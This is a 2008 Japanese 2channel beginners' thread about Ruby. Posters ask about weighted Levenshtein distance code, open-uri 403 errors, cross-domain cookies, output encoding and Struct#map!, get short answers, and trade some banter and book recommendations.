1 名前:デフォルトの名無しさん [2008/01/16(水) 17:41:27 ] プログラミング言語Rubyについての、初心者向けスレです。質問・要望・雑談などどうぞ。 関連スレやURLは>>2-7 あたりを見てください。Ruby on Railsの質問はWebProg板のRailsスレで。 ■質問する人へ 質問する前に次の3つをすること。ここで回答を待つよりそのほうが早い。 ・ぐぐる ・マニュアルで探す www.ruby-lang.org/ja/man/ ・FAQを読む www.ruby-lang.org/ja/man/?cmd=view;name=Ruby+FAQ 質問には以下を書くこと。へたくそな質問は再提出を要求される。 ・詳しい内容(「動きません」「うまくできません」では回答しようがない) ・エラーメッセージ(なるべくそのままで) ・実行環境(OS名、Rubyのバージョン(ruby -v でわかる)) ・最終的にやりたいこと(もっとよい方法がある場合が多いので) 回答してくれた人には「ありがとう」のひとことをいってあげて。 ■回答する人へ 相手は初心者、根気よく育てるつもりで。質問がへたくそなのも大目にみてあげる。 それができないならこないこと(だって初心者スレだもん)。 ・既出な質問やFAQは「XXXを読め」でいいので、叩かない&怖がらせない。 ・わけわかな質問にもエスパー発揮で。できれば質問の仕方を教えるぐらいで。 ・自信がない回答ならその旨表明すること。誤った回答は初心者じゃ見抜けない。
2 名前:デフォルトの名無しさん [2008/01/16(水) 17:42:03 ] Q: Rubyの勉強をはじめようと思うのですけども、 一からRubyをはじめる初心者向けのRuby入門書は何がお薦めでしょうか? A: プログラ自体の初心者だったら「たのしいRuby 第2版 Rubyではじめる気軽なプログラミング」 他の言語経験があるんだったら「プログラミングRuby 第2版 言語編」
3 名前:デフォルトの名無しさん [2008/01/16(水) 17:45:20 ] ■前スレ Ruby 初心者スレッド Part 16 pc11.2ch.net/test/read.cgi/tech/1197120980/ ■関連スレ Rubyについて Part 30 pc11.2ch.net/test/read.cgi/tech/1200106073/ Rubyの宿題教えてください。 pc11.2ch.net/test/read.cgi/tech/1106572657/ pc11.2ch.net/test/read.cgi/tech/1200175247/ 【ActiveScript】RubyをWindowsで使うスレ【GUI】 pc11.2ch.net/test/read.cgi/tech/1155031689/ Ruby on Rails pc11.2ch.net/test/read.cgi/tech/1191381506/ Rubyについて(アンチ専用) Part002 pc11.2ch.net/test/read.cgi/tech/1200210768/
4 名前:デフォルトの名無しさん [2008/01/16(水) 17:47:27 ] ■公式/非公式関連リンク Ruby Home Page www.ruby-lang.org/ja/ Rubyリファレンス(よくサーバーエラーになります) www.ruby-lang.org/ja/man/ www.ruby-doc.org/ (英語) リファレンスのHTMLヘルプ版配布 elbereth-hp.hp.infoseek.co.jp/ruby.html # Windowsで便利 Ruby FAQ ruby-lang.org/ja/man/?cmd=view;name=Ruby+FAQ Programming Ruby - The Pragmatic Programmer's Guide www.ruby-doc.org/docs/ProgrammingRuby/ # 好評書籍をWebで公開中、ただし英語 逆引きRuby www.namaraii.com/rubytips/
5 名前:デフォルトの名無しさん [2008/01/16(水) 17:53:42 ] RAA - Ruby Application Archive raa.ruby-lang.org/ RubyForge www.rubyforge.org/ # Rubyのアプリやライブラリが検索できる 日本Rubyの会 公式Wiki jp.rubyist.net/ # メニューに表示されていない埋もれた情報ページ多数 Rubyist Magazine - るびま jp.rubyist.net/magazine/ # コードレビューが好評 Matzにっき(Ruby作者の日記) www.rubyist.net/~matz/ Ruby hotlinks 五月雨版(日記やblogのアンテナ) www.rubyist.net/~kazu/samidare/ Rubyの本一覧 www.ruby-lang.org/ja/man/index.cgi?cmd=view;name=Ruby%A4%CB%B4%D8%A4%B9%A4%EB%BD%F1%C0%D2 <rubyXML/> www.rubyxml.com/
6 名前:デフォルトの名無しさん [2008/01/16(水) 17:54:46 ] ■最近できたWiki Ruby 初心者スレッド Hiki starlet.s145.xrea.com/ruby/hiki/ Ruby Portal ruby.morphball.net/portal/
7 名前:デフォルトの名無しさん [2008/01/16(水) 18:02:44 ] ■Ruby1.9について 未だバグが多く、不安定です。 正式な日本語ドキュメントも出ていません。初心者は手を出さないように。 安定版リリースの1.8.xを使いましょう。 Changes in Ruby 1.9(英語) eigenclass.org/hiki.rb?Changes+in+Ruby+1.9
8 名前:デフォルトの名無しさん mailto:sage [2008/01/16(水) 18:08:10 ] テンプレ少し整理しました 間違いとか重要なのに入ってないURLとかあればよろしく
9 名前:デフォルトの名無しさん mailto:sage [2008/01/16(水) 18:27:06 ] >>1 乙
10 名前:デフォルトの名無しさん mailto:sage [2008/01/16(水) 20:03:39 ] >>1 乙
11 名前:デフォルトの名無しさん mailto:sage [2008/01/16(水) 20:05:11 ] pc11.2ch.net/test/read.cgi/tech/1197120980/988 :デフォルトの名無しさん:2008/01/16(水) 15:05:44 質問です。2つの文字のコマンドラインで入力された2つの文字列のレーベンシュタイン距離(編集距離)を求めたいです。 ただし、kakasiとtakasaは通常なら距離が2になるのですが、3にしたいです。 要するに母音に対して変換が行われたときのみ距離を2倍にしたいです。 できれば〜倍かはコマンドラインから指定できるとなお良いです。 扱う文字はaiuなどではなく、kakisuなど子音を含むものとします。nnやnya等も考えません。 つまり配列にいれるなら奇数のとこに必ず母音が入るというものです。 通常の距離を求めるコードは以下にソースはっておくので、どなたか改造、アドバイスお願いします。
12 名前:デフォルトの名無しさん mailto:sage [2008/01/16(水) 20:05:37 ] pc11.2ch.net/test/read.cgi/tech/1197120980/989 :デフォルトの名無しさん:2008/01/16(水) 15:07:31 class String def levenstein(other, ins=1, del=1, sub=1) # ins,del,subは重みつきコスト return nil if self.nil? return nil if other.nil? dm = [] # 距離行列 # 最初の行の値を初期化する dm[0] = (0..self.length).collect { |i| i * ins } fill = [0] * (self.length - 1)
13 名前:デフォルトの名無しさん mailto:sage [2008/01/16(水) 20:09:32 ] pc11.2ch.net/test/read.cgi/tech/1197120980/993 :pc11.2ch.net/test/read.cgi/tech/1197120980/988 :2008/01/16(水) 17:33:21 続きです。 #重要な比較 dm[i][j] = [ dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub), dm[i][j-1] + ins, dm[i-1][j] + del].min end end #行列の最後の値が文字列間のレーベンシュタイン距離となる dm[other.length][self.length] end u1 = gets u2 = gets yyy = u1.levenstein(u2) puts yyy #yyyが距離になります。 end よろしくお願いします。
14 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 00:15:57 ] Syntax Error
15 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 00:36:05 ] 質問です。 マルチスレッドを使用して非同期のP2P形式チャットプログラムを作りたいのですが、 クライアント側から送信しないとサーバ側で送信できません(同期通信になってる) 非同期にする方法がイマイチわからないので、できればサンプル等を用いてご指導お願いします。 最終的に作りたいものは、ユーザ1がユーザ2に接続し、任意のタイミングで文字列を送受信する プログラム(メッセンジャーみたいな感じ)です。よろしくお願いします。 Windows XP(mswin32)/1.6.8
16 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 00:43:11 ] なんかRubyってよりプログラミング一般の質問ばっかりだな
17 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 00:43:43 ] >>15 こんなのがある。 blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/123789 short codingになってて読みにくいので、自力でわかりやすく整形してくれ。
18 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 02:00:33 ] Windows・Ruby1.8.6にて、指定EXE(notepad.exe等)のプロセスが一つ以上存在していたら、 それら全てを(正常)終了させる、といったコードはどうなりますか?
19 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 02:13:18 ] tasklist taskkill
20 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 07:04:04 ] 質問させて頂きます。 実行環境: ruby: 1.8.6 (2007-03-13 patchlevel 0) [i386-mswin32] OS: Windows XP Professional Version2002 SP2 サーバ:
21 名前:20 mailto:sage [2008/01/17(木) 07:10:21 ] すいません、間違って途中で書き込んでしまいました 実行環境: ruby: 1.8.6 (2007-03-13 patchlevel 0) [i386-mswin32] OS: Windows XP Professional Version2002 SP2 サーバ:Apache2 内容: 特定のURIから画像をひっぱてきて表示したいのですが、 うまくいかない場合があります。 うまくいくURI requri = "www.google.co.jp/intl/ja_jp/images/logo.gif " うまくいかないURI requri = "mt1.google.com/mt?v=ap.66&x=3&y=2&n=404&s=Gal&zoom=15 " 上記URIに対し下記の処理を実行して画像を表示します。 require 'open-uri' uri = URI.parse(requri) str = uri.read print 'Content-type: '+ str.content_type + "\n\n" STDOUT.binmode #これやらないと画像などのバイナリ系が勝手に文字列エンコードされました。 print str うまくいくURIの場合はCGIとして呼び出すと画が表示されますが、 うまくいかないURIの場合、 str = uri.read のところで c:/ruby/lib/ruby/1.8/open-uri.rb:287:in `open_http': 403 Forbidden (OpenURI::HTTPError) とエラーが返ってきます。 ブラウザのアドレス欄に うまくいかないURIを直接入力してジャンプした場合はFobiddenになりません。 cgi経由だとうまくいかないようです。 以上です。よろしくおねがいします。
22 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 07:49:36 ] str = uri.read("User-Agent" => "unko")
23 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 08:07:21 ] >>21 ttp://www.studyinghttp.net/status_code
24 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 08:40:40 ] >but your query looks similar to automated requests >from a computer virus or spyware application. 恐らくヘッダが足りないと見た
25 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 09:05:59 ] >>21 あんまRuby関係ないな HTTPステータスコードと「サーバから拒否される理由」を勉強するべき アクセルとブレーキを物理的に踏めるからといって交通標識を知らずに車を公道で運転することはできない
26 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 09:14:50 ] ユーザーエージェント付けてないだけでひどい言われようだな
27 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 09:21:02 ] 車の例が適切だけど、アクセルとブレーキの使い方を知ったからって言ってそのまま公道走られると迷惑だからな。 小手先の迂回方法だけ教えてもゴミ増やすだけだ。ステータスコードとその意味を知らないなんて致命的。 どうせどっかで学ばないといけないんだし早いほうがいい。
28 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 09:48:43 ] >25,27 別にRFC2616見たからって、そこからヘッダが足りない、 という答えを導き出すことはまず不可能だと思うがね。 RFC的にはクエリ自体は合法なわけだし。
29 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 10:00:33 ] >>21 の「403 Forbidden」からどうやって >>22 を導き出したのか知りたい。
30 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 10:01:24 ] その通り。
31 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 10:22:13 ] >>28 RFCを出すまでもなく、おまえは話の本質が分かってないわけだがw
32 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 10:38:11 ] おいおい、こいつ話の本質とか言い出したぞ
33 名前:デフォルトの名無しさん [2008/01/17(木) 12:28:44 ] こいつ話?
34 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 12:33:52 ] >>28 何しに来たんだこいつは?
35 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 12:34:50 ] ある種の勘違い君が、賢いことを書こうと背伸びすると あんな風になる。
36 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 12:57:41 ] >>35 たしかに >>25 >>27 あたりは本当に酷いな
37 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 12:58:58 ] 2chの程度の低い罵りあいは先に引いた方が勝ちだと思うんだぜ
38 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 13:12:55 ] じゃあ俺が先に引く
39 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 13:14:58 ] ざけんな俺の方が先に引く。
40 名前:デフォルトの名無しさん [2008/01/17(木) 13:15:13 ] いや俺が先に弾く
41 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 13:16:25 ] これが初級ネット板クォリティ
42 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 13:34:44 ] >>37 ただ困ったことに、程度の低い罵り合いの多くは 「本人達は自分のレスが賢さの反映だと思っているから」続くんだよね。 俺は頭が良くて性格が悪い人間なんだ、そんな俺のレスは馬鹿の目から見れば 程度が低い罵りに見えるのだろう、でも本当は賢いから俺は言葉を巧みに操れるんだ俺にはわかる、ってね。
43 名前:デフォルトの名無しさん [2008/01/17(木) 13:43:37 ] >>42 日本語で書き直してもらえませんか?
44 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 13:53:56 ] そのまま読めずにいたほうが幸せだよ。 都合の悪いものを避けようとする君の本能は、いま凄く正しく動いた。
45 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 13:55:21 ] >>43 ,44 が >>42 の例
46 名前:デフォルトの名無しさん [2008/01/17(木) 13:57:04 ] めどくさがらずに書き直してもらえまんせか?
47 名前:デフォルトの名無しさん [2008/01/17(木) 13:57:13 ] 罵ってるようにはみえんが
48 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 14:02:15 ] むしろ、じゃれあってる
49 名前:デフォルトの名無しさん [2008/01/17(木) 14:17:58 ] めんどぐざらずに書き直しらほうがいいと思います?
50 名前:デフォルトの名無しさん [2008/01/17(木) 14:21:37 ] 実にRubyスレらしい流れ
51 名前:デフォルトの名無しさん [2008/01/17(木) 14:24:02 ] >>42 そういうことを考えないとrubyを覚えることはできないのでしょうか? 難しそうで残念です。
52 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 14:31:54 ] >42 最後の行が特に意味不明だ… 俺は…できる、俺にはわかる。って、自分のことが自分でわかるってなにそれw
53 名前:デフォルトの名無しさん [2008/01/17(木) 14:41:06 ] >>52 おまえみたいなサル程度の脳じゃ理解できないんだろ
54 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 14:44:13 ] >>52 --yydebug というオプションをつけると、構文解析の過程が表示されます。
55 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 14:47:23 ] >>52 馬鹿が見ればこうなんだろうが実際はこうなんだ、という構図が、俺にはわかる、ってことだろ。 そもそも下の2行は、自分で一方的に自分の賢さを認めて完結しちゃってる自称おりこうさんの思考を 書いてるんだから、基本的に自己完結であるのは当然だ。
56 名前:デフォルトの名無しさん [2008/01/17(木) 15:23:06 ] >>55 おまえがキモイのは分かったからw
57 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 15:45:27 ] いいかげんこのRubyスレらしい流れってのも邪魔くさいよな。 S/N悪くなるだけで。 本気で言い争いしてるんだったら氏んでくれ。 煽り合いで退屈を紛らわしているんだったら他の場所へ行かないかな。
58 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 16:00:33 ] >>57 そういうこと言うからいつまでも続くし、やめてもらえませんか?
59 名前:デフォルトの名無しさん [2008/01/17(木) 16:14:08 ] 結局、RFCがどうとかいうのは自慢だったんだなw
60 名前:前スレ988 mailto:sage [2008/01/17(木) 16:34:02 ] >>14 エラーはなかったです。。。
61 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 16:37:18 ] >>59 kwsk
62 名前:前スレ988現11 mailto:sage [2008/01/17(木) 16:38:04 ] と見せかけて12と13のスレの間にこれいれるの忘れてました。 すいません。 # 最初の列の値を初期化する for i in 1..other.length dm[i] = [i * del, fill.flatten] end # 行列に値を入れる for i in 1..other.length for j in 1..self.length
63 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 16:48:04 ] >>11 が何言ってるか解読できないのは俺がゆとりだから?
64 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 18:16:28 ] 自分が関係ないなということを瞬時に判断できないのはまあゆとりだからかもしれん 大学の授業とかで専門的に学ぶような事柄だから そもそも知らないって人が見ただけで理解できなくても桶
65 名前:デフォルトの名無しさん [2008/01/17(木) 18:19:56 ] 恐らく63は専門的なことが分からないのではなく、11の日本語そのものが理解出来ないと言ってるのだと思う
66 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 18:23:53 ] 俺は分かったけど たったひとつの専門タームが理解出来ないために 文章全体が意味不明のように感じるのはよくあること
67 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 18:26:21 ] 英語長文や古文読解のセンター試験みたいなもんだな
68 名前:デフォルトの名無しさん mailto:sage [2008/01/17(木) 18:26:39 ] $ hoge kakasi takasu 2 $ hoge takasu clinic 6 っていう結果が欲しいだけだろ
69 名前:前スレ988現11 mailto:sage [2008/01/17(木) 19:44:41 ] >>68 さま その通りに近いでございます。sagu sageだったら”1”ってゆー結果が得られますが”2”ってゆー結果にしたいです。 この場合だとeを置換してuにしますが、母音を扱うため2になるということです。 母音は必ず偶数文字目に出るとします。(sasasaはありえるが、asaはありえない) おそらく僕がゆとり世代だからというのがすべての原因です。。。すいません。
70 名前:前スレ936 mailto:sage [2008/01/18(金) 00:00:43 ] >>>897 >>899 >Ruby関係なく、リソース開放などの処理するときはGCに依存しちゃダメだろwww >明示的に書かないと・・・ >C#とかJavaとかでもそうだぜ? >C#で言えば、Disposeみたいなの すまん、おれがアホすぎる理由を教えてくれ。 Dispose なんか使わん。IDisposable 実装して、 usingでRAII だろ常考ということ?
71 名前:デフォルトの名無しさん [2008/01/18(金) 04:48:18 ] 下のコードをローカル環境で実行すると、必ず10桁で 某サーバにアップして実行すると、時々20桁になってしまいます。。。 ちなみにローカルとアップ先のサーバのRubyバージョンは1.8.5で同じです。 何故でしょうか? cgi = CGI.new cgi.out{sprintf("%010u", Time.now.to_s.hash)}
72 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 04:56:24 ] いいじゃん別に20桁でも オブジェクトIDは10桁でなければならないって決まってるわけでもないし
73 名前:71 mailto:sage [2008/01/18(金) 04:56:52 ] あっ、今調べたらサーバのCPUがAthlon64でした。 これが原因でしょうか??
74 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 05:08:08 ] 8進数
75 名前:71 mailto:sage [2008/01/18(金) 05:35:31 ] 訳あって、10桁に揃えたいんです… とりあえず、無理やりこんな感じで解決した事はしたのですが… sprintf("%010u", [Time.now.to_s.hash].pack('L').unpack('L')[0])
76 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 07:12:17 ] 二回実行されてんじゃないの?
77 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 08:35:00 ] String#hash再定義したら?
78 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 12:06:59 ] x86-64版rubyとみた
79 名前:71 mailto:sage [2008/01/18(金) 18:04:42 ] >>76 う〜ん、二回実行されている事はないと思うのですが… >>77 とりあえず、>>75 の方法で解決出来たので、これでやってみます。 >>78 そういうのがあるんですか。 もしそうならそれが原因でしょうね。
80 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 18:23:17 ] Time.now.to_s.hashが時折返す負数が問題ならば sprintf("%010u", Time.now.to_s.hash % 10000000000) のようにすれば一応は収まるような気がする。
81 名前:デフォルトの名無しさん [2008/01/18(金) 19:12:19 ] ちょっと確認させてください。 正規表現スレかプログラム初心者で問う事かもしれないと、 思ったんですが特定の書籍の記述についての質問なので こちらでさせてくだされ。 「オブジェクト指向スクリプト言語Ruby(まつもと氏/石塚氏 共著)」の 78ページと81ページにある /\w\w\w+,?\s*(\w\w\w)\s*[\d:]+\s*(\d{4})/ 最初の英数字三文字の一回以上の繰り返しのあとにカンマがあります。 これはメタ文字ですか? それとも「+と?」と「+?」を書き分けるためのものですか?
82 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 19:32:52 ] >>81 メタ文字関係ない。まごうかたなき "," という文字。 メールヘッダなんかに使われる時刻文字列にマッチする正規表現だね。 "Fri, 18 Jan 2008 19:30:43 +0900" みたいな文字列で、最初の部分に曜日があるんだけど、そこにマッチする。
83 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 20:14:23 ] むしろカンマの後の?がメタ文字だな。
84 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 20:21:56 ] >>82-83 つかえが取れました。感謝!
85 名前:デフォルトの名無しさん mailto:sage [2008/01/18(金) 23:05:33 ] つかえとっちゃいかんだろw
86 名前:11 mailto:sage [2008/01/19(土) 00:47:43 ] わかりにくかったので・・・もう一度・・・ class String def levenstein(other, ins=1, del=1, sub=1) # ins,del,subは重みつきコスト return nil if self.nil? return nil if other.nil? dm = [] # 距離行列 # 最初の行の値を初期化する dm[0] = (0..self.length).collect { |i| i * ins } fill = [0] * (self.length - 1) # 最初の列の値を初期化する for i in 1..other.length dm[i] = [i * del, fill.flatten] end # 行列に値を入れる for i in 1..other.length for j in 1..self.length
87 名前:11 mailto:sage [2008/01/19(土) 00:48:21 ] dm[i][j] = [ dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub), dm[i][j-1] + ins, dm[i-1][j] + del].min end end #行列の最後の値が文字列間のレーベンシュタイン距離となる dm[other.length][self.length] end u1 = gets u2 = gets yyy = u1.levenstein(u2) puts yyy #yyyが距離になります。 end よろしくお願いします。
88 名前:デフォルトの名無しさん [2008/01/19(土) 18:39:10 ] クッキーを設定するcgiをhtml中にimgタグで記述して そのcgiを、htmlと同一サーバ内に置いてhtmlにアクセスした場合は 問題なくクッキーが設定されるのですが cgiを別サーバに置いて、外部呼出しにした場合 Mozilla系のブラウザでは問題ないのですが、IEの場合クッキーが設定されません… 以下がクッキーを設定するコードです。 Cgi = CGI.new cookie = CGI::Cookie::new({'name' => 'TEST', 'expires' => Time.now + 200}) Cgi.out("cookie" => cookie){''}
89 名前:デフォルトの名無しさん mailto:sage [2008/01/19(土) 19:00:55 ] よくわかんねーけど dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub), の行をどうにかすればいいような気がする
90 名前:11 mailto:sage [2008/01/19(土) 19:09:21 ] >>89 さま dm[i-1][j-1] + (self[j-1] == other[i-1] ? 0 : sub), dm[i][j-1] + ins, dm[i-1][j] + del のところをいじれば良い・・・ 多分sub.ins.delそれぞれがij行列の奇数要素で行われた場合 sub * g1 gi = gets みたいにできればいいかなって思うんですが、、、 うまくかけません。。。
91 名前:デフォルトの名無しさん mailto:sage [2008/01/19(土) 23:53:36 ] >88 Mozillaがセキュリティぶっちぎってるだけのような…… てゆーかXSSじみたことをさせようとしてるように見えるんだが cgiを別サーバに置く理由は? 負荷とか実行権限ないとか?
92 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 00:08:33 ] クッキーは全くの別ドメインからは読めないよね www.example.comとhoge.example.comならできるけど、www.example.comとwww.example.jpではダメ 前者でIEが動作しないってのはIEのクッキー設定で厳しくなってるだけのような気もするが
93 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 00:17:10 ] 機種依存文字を含むファイル名のファイルを扱う方法ってありますか?
94 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 00:29:08 ] お着せの方法はないから自前で何か考えるしかないねえ
95 名前:93 mailto:sage [2008/01/20(日) 00:42:18 ] >>94 う〜ん、そうですか。 やっぱり機種依存文字を含んでる時点でもうよろしくないですよね。 なにかしらの回避策を考えてみます。どうもです。
96 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 00:53:34 ] 機種に依存したスクリプトでいいじゃん
97 名前:88 mailto:sage [2008/01/20(日) 01:38:05 ] >>91 いや、別に悪意のある事をしようとはしてないです。 cgiを別サーバに置く理由は、ちょっと負荷が気になるので メインのhtmlがあるサーバに置きたくないだけなんです。 >>92 一応、問題なく外部呼出しからクッキーが設定出来たFirefoxで見ると クッキーのpathはcgiがあるサーバのものになってます。 もし下の様な場合 www.main.com/ck.html ←imgタグでcgiの呼び出しを記述した観覧用のhtmlがるURL www.cgi.com/ck.cgi ←クッキーを設定するcgiのURL "www.main.com/ck.html " にアクセスすると Firefoxのクッキーのパスは "www.cgi.com/ " になってました。
98 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 01:56:55 ] >>91 Mozzilaは他のドメインのクッキー上書きできるのか?w
99 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 07:08:35 ] >>97 「アクセスしたサイトからのクッキーのみ許可」が出来るブラウザって 結構あるし、自分はそれが出来るブラウザでは必ず設定してるけど、 そーゆー事する人には提供しなくてもいいサービスなの?
100 名前:デフォルトの名無しさん [2008/01/20(日) 12:37:48 ] 現在ruby.exeにスクリプトのパスを渡して実行しているのですが、 スクリプトをutf8で書いているため出力がutf8です。 スクリプト自体に変更を加えず、つまりruby.exeへの変数を弄くって出力を utf8からShift_JISにすることは出来ないでしょうか? 宜しくお願いします _ _
101 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:04:42 ] Ruby1.9なら、LANGをja_JP.ShiftJIS系統にすれば default_externalがうまいこと変更されるんじゃないかな。
102 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:06:19 ] >>101 >>7
103 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:08:23 ] >>100 難しいこと考えずに出力後にShift_JISに変換すれば用は足りると思われ
104 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:32:02 ] >>103 そんな方法があるのか? あるなら俺も知りたい Windows環境だとShift-JIS以外の出力が文字化けするのが……
105 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:33:57 ] 出力後->出力直前?
106 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:36:00 ] C:\>ruby -r 'nkf' -e "puts NKF.nkf('--euc','日本語です')" ニ・ワク・ヌ、ケ C:\>ruby -r 'nkf' -e "puts NKF.nkf('--euc','日本語です')" | nkf -s 日本語です 標準出力に関してはこういうことでは… ファイルに書き出したのがShift_JIS以外だってのはファイル探して変換かけるとか
107 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 13:49:35 ] そういう時にこそIO.writeを書き換えるんだ
108 名前:デフォルトの名無しさん [2008/01/20(日) 16:23:03 ] Structのvalueに対してmap! { |n| n[/\d+/}みたいなことをするにはどうしたらいいんでしょう? #<struct report="3件(3人)", inheritor="1品", comment="4件のコメントを読む"> 上を下のようにしたいのですが。 #<struct report="3", inheritor="1", comment="4">
109 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 17:05:52 ] dog = Struct.new("Dog", :name, :age) class Struct::Dog def map!(&block) if block size.times {|i| self[i] = block.call(self[i]) } end self end end d = dog.new("taro", 9) #=> #<struct Struct::Dog name="taro", age=9> d.map! {|m| m*2} #=> #<struct Struct::Dog name="tarotaro", age=18>
110 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 17:25:02 ] 最近、StructがEnumerableだという事を初めて知った dog = Struct.new("Dog", :name, :age) d = dog.new("taro", 9) #=> #<struct Struct::Dog name="taro", age=9> mapped = d.map {|m| m*2} d = dog.new(*mapped) #=> #<struct Struct::Dog name="tarotaro", age=18>
111 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 17:39:01 ] >>99 今のIEは、アクセスしたサイトからのクッキー以外はデフォでブロックしますね
112 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 17:41:50 ] >>100-104 Windowsなら、UTF-8対応のターミナル使え 俺のお勧めは Poderosa たぶん、puttyもいけるんじゃね?
113 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 17:57:23 ] 業者乙 .NETの2.0入れないと動かないようなターミナルなんぞ問題外のさらに外
114 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 18:08:01 ] putty ってローカルで使えるの? リモートでしか使ってない
115 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 18:18:11 ] >>113 .NET 2.0入れてないプログラマなんぞ問題外のさらに外
116 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 18:18:51 ] >>113 Poderosa 3 なら、.NET 1.0で動くよ
117 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 18:19:45 ] 113は.Net2.0が入らない環境しか利用できないんだよ。
118 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 19:05:36 ] >>108 余計なお世話だけど それらの値はStructに代入する前に数値型に直しておく方がいいと思う
119 名前:108 mailto:sage [2008/01/20(日) 19:13:48 ] >>109-110 ありがとうございます。勉強になりました。
120 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 19:44:50 ] Rubyist Magazine出張版 Ruby on Windows ttp://www.amazon.co.jp/dp/4839926689 ちょっと気になる
121 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 19:49:20 ] この人のるびま記事はすごく良かった どの程度加筆されるかにもよるけど期待大
122 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 19:51:36 ] ちょっとまて、もう発売されてるみたいじゃないか・・・ 漏れのバカバカバカ
123 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 20:01:01 ] 立ち読みした限りでは「WindowsでRubyを使って楽をしたい」と考える人の最初の本として申し分ないように見える 載ってる例以外の事をしたいと考えたときに頼りになるかどうかはわからん あとこれはどうでもいいんだが def method_hoge arg … end ってdefで引数カッコ省略の書き方をしてるのがどーにも性に合わん
124 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 20:02:43 ] >>120 > Javaや.NET CLRなどの膨大なソフトウエア資産を活用する方法まで mjsk
125 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 20:03:28 ] JRubyとRuby.netか
126 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 20:15:59 ] >>124 ttp://book.mycom.co.jp/support/e1/ruby_windows/ > 第1回 Win32OLEことはじめ > 第2回 Excel > 第3回 ADODB > 第4回 Outlook > 弟5回 Web自動巡回 > 弟6回 Windowsアプリケーションの自動操作 > 弟7回 他の言語でのCOM > 弟8回 WMI > 弟9回 iTunes > 弟10回 Exerb > 弟11回 RubyCLR > 弟12回 RjbとApache POI > 弟13回 JRuby 5回目から弟になってるのはコピペ検知用の罠か何かか
127 名前:デフォルトの名無しさん mailto:sage [2008/01/20(日) 20:31:21 ] 弟に吹いた Win32APIはあんまり書いてなさそうなのが残念だけど買っちゃおうかな OLEとか情報集めるの大変だしね
